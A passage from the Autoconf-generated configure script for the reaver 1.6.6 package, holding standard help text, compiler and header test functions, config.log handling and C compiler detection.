ac_pwd_ls_di=`cd "$ac_pwd" && ls -di .` || as_fn_error $? "working directory cannot be determined" test "X$ac_ls_di" = "X$ac_pwd_ls_di" || as_fn_error $? "pwd does not report name of working directory" # Find the source files, if location was not specified. if test -z "$srcdir"; then ac_srcdir_defaulted=yes # Try the directory containing this script, then the parent directory. ac_confdir=`$as_dirname -- "$as_myself" || $as_expr X"$as_myself" : 'X\(.*[^/]\)//*[^/][^/]*/*$' \| \ X"$as_myself" : 'X\(//\)[^/]' \| \ X"$as_myself" : 'X\(//\)$' \| \ X"$as_myself" : 'X\(/\)' \| . 2>/dev/null || $as_echo X"$as_myself" | sed '/^X\(.*[^/]\)\/\/*[^/][^/]*\/*$/{ s//\1/ q } /^X\(\/\/\)[^/].*/{ s//\1/ q } /^X\(\/\/\)$/{ s//\1/ q } /^X\(\/\).*/{ s//\1/ q } s/.*/./; q'` srcdir=$ac_confdir if test ! -r "$srcdir/$ac_unique_file"; then srcdir=.. fi else ac_srcdir_defaulted=no fi if test ! -r "$srcdir/$ac_unique_file"; then test "$ac_srcdir_defaulted" = yes && srcdir="$ac_confdir or .." as_fn_error $? "cannot find sources ($ac_unique_file) in $srcdir" fi ac_msg="sources are in $srcdir, but \`cd $srcdir' does not work" ac_abs_confdir=`( cd "$srcdir" && test -r "./$ac_unique_file" || as_fn_error $? "$ac_msg" pwd)` # When building in place, set srcdir=. if test "$ac_abs_confdir" = "$ac_pwd"; then srcdir=. fi # Remove unnecessary trailing slashes from srcdir. # Double slashes in file names in object file debugging info # mess up M-x gdb in Emacs. case $srcdir in */) srcdir=`expr "X$srcdir" : 'X\(.*[^/]\)' \| "X$srcdir" : 'X\(.*\)'`;; esac for ac_var in $ac_precious_vars; do eval ac_env_${ac_var}_set=\${${ac_var}+set} eval ac_env_${ac_var}_value=\$${ac_var} eval ac_cv_env_${ac_var}_set=\${${ac_var}+set} eval ac_cv_env_${ac_var}_value=\$${ac_var} done # # Report the --help message. # if test "$ac_init_help" = "long"; then # Omit some internal or obsolete options to make the list less imposing. # This message is too long to be a string in the A/UX 3.1 sh. cat <<_ACEOF \`configure' configures reaver 1.6.6 to adapt to many kinds of systems. Usage: $0 [OPTION]... [VAR=VALUE]... To assign environment variables (e.g., CC, CFLAGS...), specify them as VAR=VALUE. See below for descriptions of some of the useful variables. Defaults for the options are specified in brackets. Configuration: -h, --help display this help and exit --help=short display options specific to this package --help=recursive display the short help of all the included packages -V, --version display version information and exit -q, --quiet, --silent do not print \`checking ...' messages --cache-file=FILE cache test results in FILE [disabled] -C, --config-cache alias for \`--cache-file=config.cache' -n, --no-create do not create output files --srcdir=DIR find the sources in DIR [configure dir or \`..'] Installation directories: --prefix=PREFIX install architecture-independent files in PREFIX [$ac_default_prefix] --exec-prefix=EPREFIX install architecture-dependent files in EPREFIX [PREFIX] By default, \`make install' will install all the files in \`$ac_default_prefix/bin', \`$ac_default_prefix/lib' etc. You can specify an installation prefix other than \`$ac_default_prefix' using \`--prefix', for instance \`--prefix=\$HOME'. For better control, use the options below. Fine tuning of the installation directories: --bindir=DIR user executables [EPREFIX/bin] --sbindir=DIR system admin executables [EPREFIX/sbin] --libexecdir=DIR program executables [EPREFIX/libexec] --sysconfdir=DIR read-only single-machine data [PREFIX/etc] --sharedstatedir=DIR modifiable architecture-independent data [PREFIX/com] --localstatedir=DIR modifiable single-machine data [PREFIX/var] --libdir=DIR object code libraries [EPREFIX/lib] --includedir=DIR C header files [PREFIX/include] --oldincludedir=DIR C header files for non-gcc [/usr/include] --datarootdir=DIR read-only arch.-independent data root [PREFIX/share] --datadir=DIR read-only architecture-independent data [DATAROOTDIR] --infodir=DIR info documentation [DATAROOTDIR/info] --localedir=DIR locale-dependent data [DATAROOTDIR/locale] --mandir=DIR man documentation [DATAROOTDIR/man] --docdir=DIR documentation root [DATAROOTDIR/doc/reaver] --htmldir=DIR html documentation [DOCDIR] --dvidir=DIR dvi documentation [DOCDIR] --pdfdir=DIR pdf documentation [DOCDIR] --psdir=DIR ps documentation [DOCDIR] _ACEOF cat <<\_ACEOF _ACEOF fi if test -n "$ac_init_help"; then case $ac_init_help in short | recursive ) echo "Configuration of reaver 1.6.6:";; esac cat <<\_ACEOF Optional Features: --disable-option-checking ignore unrecognized --enable/--with options --disable-FEATURE do not include FEATURE (same as --enable-FEATURE=no) --enable-FEATURE[=ARG] include FEATURE [ARG=yes] --enable-savetocurrent saves the current session file to the directory reaver was started from Some influential environment variables: CC C compiler command CFLAGS C compiler flags LDFLAGS linker flags, e.g. -L if you have libraries in a nonstandard directory LIBS libraries to pass to the linker, e.g. -l CPPFLAGS (Objective) C/C++ preprocessor flags, e.g. -I if you have headers in a nonstandard directory CPP C preprocessor Use these variables to override the choices made by `configure' or to help it to find libraries and programs with nonstandard names/locations. Report bugs to the package provider. _ACEOF ac_status=$? fi if test "$ac_init_help" = "recursive"; then # If there are subdirs, report their specific --help. for ac_dir in : $ac_subdirs_all; do test "x$ac_dir" = x: && continue test -d "$ac_dir" || { cd "$srcdir" && ac_pwd=`pwd` && srcdir=. && test -d "$ac_dir"; } || continue ac_builddir=. case "$ac_dir" in .) ac_dir_suffix= ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_dir_suffix=/`$as_echo "$ac_dir" | sed 's|^\.[\\/]||'` # A ".." for each directory in $ac_dir_suffix. ac_top_builddir_sub=`$as_echo "$ac_dir_suffix" | sed 's|/[^\\/]*|/..|g;s|/||'` case $ac_top_builddir_sub in "") ac_top_builddir_sub=. ac_top_build_prefix= ;; *) ac_top_build_prefix=$ac_top_builddir_sub/ ;; esac ;; esac ac_abs_top_builddir=$ac_pwd ac_abs_builddir=$ac_pwd$ac_dir_suffix # for backward compatibility: ac_top_builddir=$ac_top_build_prefix case $srcdir in .) # We are building in place. ac_srcdir=. ac_top_srcdir=$ac_top_builddir_sub ac_abs_top_srcdir=$ac_pwd ;; [\\/]* | ?:[\\/]* ) # Absolute name. ac_srcdir=$srcdir$ac_dir_suffix; ac_top_srcdir=$srcdir ac_abs_top_srcdir=$srcdir ;; *) # Relative name. ac_srcdir=$ac_top_build_prefix$srcdir$ac_dir_suffix ac_top_srcdir=$ac_top_build_prefix$srcdir ac_abs_top_srcdir=$ac_pwd/$srcdir ;; esac ac_abs_srcdir=$ac_abs_top_srcdir$ac_dir_suffix cd "$ac_dir" || { ac_status=$?; continue; } # Check for guested configure. if test -f "$ac_srcdir/configure.gnu"; then echo && $SHELL "$ac_srcdir/configure.gnu" --help=recursive elif test -f "$ac_srcdir/configure"; then echo && $SHELL "$ac_srcdir/configure" --help=recursive else $as_echo "$as_me: WARNING: no configuration information is in $ac_dir" >&2 fi || ac_status=$? cd "$ac_pwd" || { ac_status=$?; break; } done fi test -n "$ac_init_help" && exit $ac_status if $ac_init_version; then cat <<\_ACEOF reaver configure 1.6.6 generated by GNU Autoconf 2.69 Copyright (C) 2012 Free Software Foundation, Inc. This configure script is free software; the Free Software Foundation gives unlimited permission to copy, distribute and modify it. _ACEOF exit fi ## ------------------------ ## ## Autoconf initialization. ## ## ------------------------ ## # ac_fn_c_try_compile LINENO # -------------------------- # Try to compile conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_compile () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack rm -f conftest.$ac_objext if { { ac_try="$ac_compile" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_compile") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { test -z "$ac_c_werror_flag" || test ! -s conftest.err } && test -s conftest.$ac_objext; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno as_fn_set_status $ac_retval } # ac_fn_c_try_compile # ac_fn_c_try_link LINENO # ----------------------- # Try to link conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_link () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack rm -f conftest.$ac_objext conftest$ac_exeext if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { test -z "$ac_c_werror_flag" || test ! -s conftest.err } && test -s conftest$ac_exeext && { test "$cross_compiling" = yes || test -x conftest$ac_exeext }; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi # Delete the IPA/IPO (Inter Procedural Analysis/Optimization) information # created by the PGI compiler (conftest_ipa8_conftest.oo), as it would # interfere with the next link command; also delete a directory that is # left behind by Apple's compiler. We do this before executing the actions. rm -rf conftest.dSYM conftest_ipa8_conftest.oo eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno as_fn_set_status $ac_retval } # ac_fn_c_try_link # ac_fn_c_try_cpp LINENO # ---------------------- # Try to preprocess conftest.$ac_ext, and return whether this succeeded. ac_fn_c_try_cpp () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if { { ac_try="$ac_cpp conftest.$ac_ext" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_cpp conftest.$ac_ext") 2>conftest.err ac_status=$? if test -s conftest.err; then grep -v '^ *+' conftest.err >conftest.er1 cat conftest.er1 >&5 mv -f conftest.er1 conftest.err fi $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } > conftest.i && { test -z "$ac_c_preproc_warn_flag$ac_c_werror_flag" || test ! -s conftest.err }; then : ac_retval=0 else $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno as_fn_set_status $ac_retval } # ac_fn_c_try_cpp # ac_fn_c_check_header_mongrel LINENO HEADER VAR INCLUDES # ------------------------------------------------------- # Tests whether HEADER exists, giving a warning if it cannot be compiled using # the include files in INCLUDES and setting the cache variable VAR # accordingly. ac_fn_c_check_header_mongrel () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if eval \${$3+:} false; then : { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if eval \${$3+:} false; then : $as_echo_n "(cached) " >&6 fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } else # Is the header compilable? { $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 usability" >&5 $as_echo_n "checking $2 usability... " >&6; } cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 #include <$2> _ACEOF if ac_fn_c_try_compile "$LINENO"; then : ac_header_compiler=yes else ac_header_compiler=no fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_compiler" >&5 $as_echo "$ac_header_compiler" >&6; } # Is the header present? { $as_echo "$as_me:${as_lineno-$LINENO}: checking $2 presence" >&5 $as_echo_n "checking $2 presence... " >&6; } cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ #include <$2> _ACEOF if ac_fn_c_try_cpp "$LINENO"; then : ac_header_preproc=yes else ac_header_preproc=no fi rm -f conftest.err conftest.i conftest.$ac_ext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_header_preproc" >&5 $as_echo "$ac_header_preproc" >&6; } # So? What about this header? case $ac_header_compiler:$ac_header_preproc:$ac_c_preproc_warn_flag in #(( yes:no: ) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&5 $as_echo "$as_me: WARNING: $2: accepted by the compiler, rejected by the preprocessor!" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5 $as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;} ;; no:yes:* ) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: present but cannot be compiled" >&5 $as_echo "$as_me: WARNING: $2: present but cannot be compiled" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: check for missing prerequisite headers?" >&5 $as_echo "$as_me: WARNING: $2: check for missing prerequisite headers?" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: see the Autoconf documentation" >&5 $as_echo "$as_me: WARNING: $2: see the Autoconf documentation" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&5 $as_echo "$as_me: WARNING: $2: section \"Present But Cannot Be Compiled\"" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: $2: proceeding with the compiler's result" >&5 $as_echo "$as_me: WARNING: $2: proceeding with the compiler's result" >&2;} ;; esac { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if eval \${$3+:} false; then : $as_echo_n "(cached) " >&6 else eval "$3=\$ac_header_compiler" fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } fi eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno } # ac_fn_c_check_header_mongrel # ac_fn_c_try_run LINENO # ---------------------- # Try to link conftest.$ac_ext, and return whether this succeeded. Assumes # that executables *can* be run. ac_fn_c_try_run () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack if { { ac_try="$ac_link" case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_link") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } && { ac_try='./conftest$ac_exeext' { { case "(($ac_try" in *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; *) ac_try_echo=$ac_try;; esac eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" $as_echo "$ac_try_echo"; } >&5 (eval "$ac_try") 2>&5 ac_status=$? $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; }; }; then : ac_retval=0 else $as_echo "$as_me: program exited with status $ac_status" >&5 $as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=$ac_status fi rm -rf conftest.dSYM conftest_ipa8_conftest.oo eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno as_fn_set_status $ac_retval } # ac_fn_c_try_run # ac_fn_c_check_header_compile LINENO HEADER VAR INCLUDES # ------------------------------------------------------- # Tests whether HEADER exists and can be compiled using the include files in # INCLUDES, setting the cache variable VAR accordingly. ac_fn_c_check_header_compile () { as_lineno=${as_lineno-"$1"} as_lineno_stack=as_lineno_stack=$as_lineno_stack { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $2" >&5 $as_echo_n "checking for $2... " >&6; } if eval \${$3+:} false; then : $as_echo_n "(cached) " >&6 else cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ $4 #include <$2> _ACEOF if ac_fn_c_try_compile "$LINENO"; then : eval "$3=yes" else eval "$3=no" fi rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext fi eval ac_res=\$$3 { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_res" >&5 $as_echo "$ac_res" >&6; } eval $as_lineno_stack; ${as_lineno_stack:+:} unset as_lineno } # ac_fn_c_check_header_compile cat >config.log <<_ACEOF This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. It was created by reaver $as_me 1.6.6, which was generated by GNU Autoconf 2.69. Invocation command line was $ $0 $@ _ACEOF exec 5>>config.log { cat <<_ASUNAME ## --------- ## ## Platform. ## ## --------- ## hostname = `(hostname || uname -n) 2>/dev/null | sed 1q` uname -m = `(uname -m) 2>/dev/null || echo unknown` uname -r = `(uname -r) 2>/dev/null || echo unknown` uname -s = `(uname -s) 2>/dev/null || echo unknown` uname -v = `(uname -v) 2>/dev/null || echo unknown` /usr/bin/uname -p = `(/usr/bin/uname -p) 2>/dev/null || echo unknown` /bin/uname -X = `(/bin/uname -X) 2>/dev/null || echo unknown` /bin/arch = `(/bin/arch) 2>/dev/null || echo unknown` /usr/bin/arch -k = `(/usr/bin/arch -k) 2>/dev/null || echo unknown` /usr/convex/getsysinfo = `(/usr/convex/getsysinfo) 2>/dev/null || echo unknown` /usr/bin/hostinfo = `(/usr/bin/hostinfo) 2>/dev/null || echo unknown` /bin/machine = `(/bin/machine) 2>/dev/null || echo unknown` /usr/bin/oslevel = `(/usr/bin/oslevel) 2>/dev/null || echo unknown` /bin/universe = `(/bin/universe) 2>/dev/null || echo unknown` _ASUNAME as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. $as_echo "PATH: $as_dir" done IFS=$as_save_IFS } >&5 cat >&5 <<_ACEOF ## ----------- ## ## Core tests. ## ## ----------- ## _ACEOF # Keep a trace of the command line. # Strip out --no-create and --no-recursion so they do not pile up. # Strip out --silent because we don't want to record it for future runs. # Also quote any args containing shell meta-characters. # Make two passes to allow for proper duplicate-argument suppression. ac_configure_args= ac_configure_args0= ac_configure_args1= ac_must_keep_next=false for ac_pass in 1 2 do for ac_arg do case $ac_arg in -no-create | --no-c* | -n | -no-recursion | --no-r*) continue ;; -q | -quiet | --quiet | --quie | --qui | --qu | --q \ | -silent | --silent | --silen | --sile | --sil) continue ;; *\'*) ac_arg=`$as_echo "$ac_arg" | sed "s/'/'\\\\\\\\''/g"` ;; esac case $ac_pass in 1) as_fn_append ac_configure_args0 " '$ac_arg'" ;; 2) as_fn_append ac_configure_args1 " '$ac_arg'" if test $ac_must_keep_next = true; then ac_must_keep_next=false # Got value, back to normal. else case $ac_arg in *=* | --config-cache | -C | -disable-* | --disable-* \ | -enable-* | --enable-* | -gas | --g* | -nfp | --nf* \ | -q | -quiet | --q* | -silent | --sil* | -v | -verb* \ | -with-* | --with-* | -without-* | --without-* | --x) case "$ac_configure_args0 " in "$ac_configure_args1"*" '$ac_arg' "* ) continue ;; esac ;; -* ) ac_must_keep_next=true ;; esac fi as_fn_append ac_configure_args " '$ac_arg'" ;; esac done done { ac_configure_args0=; unset ac_configure_args0;} { ac_configure_args1=; unset ac_configure_args1;} # When interrupted or exit'd, cleanup temporary files, and complete # config.log. We remove comments because anyway the quotes in there # would cause problems or look ugly. # WARNING: Use '\'' to represent an apostrophe within the trap. # WARNING: Do not start the trap code with a newline, due to a FreeBSD 4.0 bug. trap 'exit_status=$? # Save into config.log some information that might help in debugging. { echo $as_echo "## ---------------- ## ## Cache variables. ## ## ---------------- ##" echo # The following way of writing the cache mishandles newlines in values, ( for ac_var in `(set) 2>&1 | sed -n '\''s/^\([a-zA-Z_][a-zA-Z0-9_]*\)=.*/\1/p'\''`; do eval ac_val=\$$ac_var case $ac_val in #( *${as_nl}*) case $ac_var in #( *_cv_*) { $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: cache variable $ac_var contains a newline" >&5 $as_echo "$as_me: WARNING: cache variable $ac_var contains a newline" >&2;} ;; esac case $ac_var in #( _ | IFS | as_nl) ;; #( BASH_ARGV | BASH_SOURCE) eval $ac_var= ;; #( *) { eval $ac_var=; unset $ac_var;} ;; esac ;; esac done (set) 2>&1 | case $as_nl`(ac_space='\'' '\''; set) 2>&1` in #( *${as_nl}ac_space=\ *) sed -n \ "s/'\''/'\''\\\\'\'''\''/g; s/^\\([_$as_cr_alnum]*_cv_[_$as_cr_alnum]*\\)=\\(.*\\)/\\1='\''\\2'\''/p" ;; #( *) sed -n "/^[_$as_cr_alnum]*_cv_[_$as_cr_alnum]*=/p" ;; esac | sort ) echo $as_echo "## ----------------- ## ## Output variables. ## ## ----------------- ##" echo for ac_var in $ac_subst_vars do eval ac_val=\$$ac_var case $ac_val in *\'\''*) ac_val=`$as_echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; esac $as_echo "$ac_var='\''$ac_val'\''" done | sort echo if test -n "$ac_subst_files"; then $as_echo "## ------------------- ## ## File substitutions. ## ## ------------------- ##" echo for ac_var in $ac_subst_files do eval ac_val=\$$ac_var case $ac_val in *\'\''*) ac_val=`$as_echo "$ac_val" | sed "s/'\''/'\''\\\\\\\\'\'''\''/g"`;; esac $as_echo "$ac_var='\''$ac_val'\''" done | sort echo fi if test -s confdefs.h; then $as_echo "## ----------- ## ## confdefs.h. ## ## ----------- ##" echo cat confdefs.h echo fi test "$ac_signal" != 0 && $as_echo "$as_me: caught signal $ac_signal" $as_echo "$as_me: exit $exit_status" } >&5 rm -f core *.core core.conftest.* && rm -f -r conftest* confdefs* conf$$* $ac_clean_files && exit $exit_status ' 0 for ac_signal in 1 2 13 15; do trap 'ac_signal='$ac_signal'; as_fn_exit 1' $ac_signal done ac_signal=0 # confdefs.h avoids OS command line length limits that DEFS can exceed. rm -f -r conftest* confdefs.h $as_echo "/* confdefs.h */" > confdefs.h # Predefined preprocessor variables. cat >>confdefs.h <<_ACEOF #define PACKAGE_NAME "$PACKAGE_NAME" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_TARNAME "$PACKAGE_TARNAME" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_VERSION "$PACKAGE_VERSION" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_STRING "$PACKAGE_STRING" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_BUGREPORT "$PACKAGE_BUGREPORT" _ACEOF cat >>confdefs.h <<_ACEOF #define PACKAGE_URL "$PACKAGE_URL" _ACEOF # Let the site file select an alternate cache file if it wants to. # Prefer an explicitly selected file to automatically selected ones. ac_site_file1=NONE ac_site_file2=NONE if test -n "$CONFIG_SITE"; then # We do not want a PATH search for config.site. case $CONFIG_SITE in #(( -*) ac_site_file1=./$CONFIG_SITE;; */*) ac_site_file1=$CONFIG_SITE;; *) ac_site_file1=./$CONFIG_SITE;; esac elif test "x$prefix" != xNONE; then ac_site_file1=$prefix/share/config.site ac_site_file2=$prefix/etc/config.site else ac_site_file1=$ac_default_prefix/share/config.site ac_site_file2=$ac_default_prefix/etc/config.site fi for ac_site_file in "$ac_site_file1" "$ac_site_file2" do test "x$ac_site_file" = xNONE && continue if test /dev/null != "$ac_site_file" && test -r "$ac_site_file"; then { $as_echo "$as_me:${as_lineno-$LINENO}: loading site script $ac_site_file" >&5 $as_echo "$as_me: loading site script $ac_site_file" >&6;} sed 's/^/| /' "$ac_site_file" >&5 . "$ac_site_file" \ || { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error $? "failed to load site script $ac_site_file See \`config.log' for more details" "$LINENO" 5; } fi done if test -r "$cache_file"; then # Some versions of bash will fail to source /dev/null (special files # actually), so we avoid doing that. DJGPP emulates it as a regular file. if test /dev/null != "$cache_file" && test -f "$cache_file"; then { $as_echo "$as_me:${as_lineno-$LINENO}: loading cache $cache_file" >&5 $as_echo "$as_me: loading cache $cache_file" >&6;} case $cache_file in [\\/]* | ?:[\\/]* ) . "$cache_file";; *) . "./$cache_file";; esac fi else { $as_echo "$as_me:${as_lineno-$LINENO}: creating cache $cache_file" >&5 $as_echo "$as_me: creating cache $cache_file" >&6;} >$cache_file fi # Check that the precious variables saved in the cache have kept the same # value. ac_cache_corrupted=false for ac_var in $ac_precious_vars; do eval ac_old_set=\$ac_cv_env_${ac_var}_set eval ac_new_set=\$ac_env_${ac_var}_set eval ac_old_val=\$ac_cv_env_${ac_var}_value eval ac_new_val=\$ac_env_${ac_var}_value case $ac_old_set,$ac_new_set in set,) { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&5 $as_echo "$as_me: error: \`$ac_var' was set to \`$ac_old_val' in the previous run" >&2;} ac_cache_corrupted=: ;; ,set) { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' was not set in the previous run" >&5 $as_echo "$as_me: error: \`$ac_var' was not set in the previous run" >&2;} ac_cache_corrupted=: ;; ,);; *) if test "x$ac_old_val" != "x$ac_new_val"; then # differences in whitespace do not lead to failure. ac_old_val_w=`echo x $ac_old_val` ac_new_val_w=`echo x $ac_new_val` if test "$ac_old_val_w" != "$ac_new_val_w"; then { $as_echo "$as_me:${as_lineno-$LINENO}: error: \`$ac_var' has changed since the previous run:" >&5 $as_echo "$as_me: error: \`$ac_var' has changed since the previous run:" >&2;} ac_cache_corrupted=: else { $as_echo "$as_me:${as_lineno-$LINENO}: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&5 $as_echo "$as_me: warning: ignoring whitespace changes in \`$ac_var' since the previous run:" >&2;} eval $ac_var=\$ac_old_val fi { $as_echo "$as_me:${as_lineno-$LINENO}: former value: \`$ac_old_val'" >&5 $as_echo "$as_me: former value: \`$ac_old_val'" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: current value: \`$ac_new_val'" >&5 $as_echo "$as_me: current value: \`$ac_new_val'" >&2;} fi;; esac # Pass precious variables to config.status. if test "$ac_new_set" = set; then case $ac_new_val in *\'*) ac_arg=$ac_var=`$as_echo "$ac_new_val" | sed "s/'/'\\\\\\\\''/g"` ;; *) ac_arg=$ac_var=$ac_new_val ;; esac case " $ac_configure_args " in *" '$ac_arg' "*) ;; # Avoid dups. Use of quotes ensures accuracy. *) as_fn_append ac_configure_args " '$ac_arg'" ;; esac fi done if $ac_cache_corrupted; then { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} { $as_echo "$as_me:${as_lineno-$LINENO}: error: changes in the environment can compromise the build" >&5 $as_echo "$as_me: error: changes in the environment can compromise the build" >&2;} as_fn_error $? "run \`make distclean' and/or \`rm $cache_file' and start over" "$LINENO" 5 fi ## -------------------- ## ## Main body of script. ## ## -------------------- ## ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu ac_config_files="$ac_config_files config.mak" ac_ext=c ac_cpp='$CPP $CPPFLAGS' ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5' ac_compiler_gnu=$ac_cv_c_compiler_gnu if test -n "$ac_tool_prefix"; then # Extract the first word of "${ac_tool_prefix}gcc", so it can be a program name with args. set dummy ${ac_tool_prefix}gcc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$CC"; then ac_cv_prog_CC="$CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for as_dir in $PATH do IFS=$as_save_IFS test -z "$as_dir" && as_dir=. for ac_exec_ext in '' $ac_executable_extensions; do if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then ac_cv_prog_CC="${ac_tool_prefix}gcc" $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5 break 2 fi done done IFS=$as_save_IFS fi fi CC=$ac_cv_prog_CC if test -n "$CC"; then { $as_echo "$as_me:${as_lineno-$LINENO}: result: $CC" >&5 $as_echo "$CC" >&6; } else { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 $as_echo "no" >&6; } fi fi if test -z "$ac_cv_prog_CC"; then ac_ct_CC=$CC # Extract the first word of "gcc", so it can be a program name with args. set dummy gcc; ac_word=$2 { $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5 $as_echo_n "checking for $ac_word... " >&6; } if ${ac_cv_prog_ac_ct_CC+:} false; then : $as_echo_n "(cached) " >&6 else if test -n "$ac_ct_CC"; then ac_cv_prog_ac_ct_CC="$ac_ct_CC" # Let the user override the test. else as_save_IFS=$IFS; IFS=$PATH_SEPARATOR for 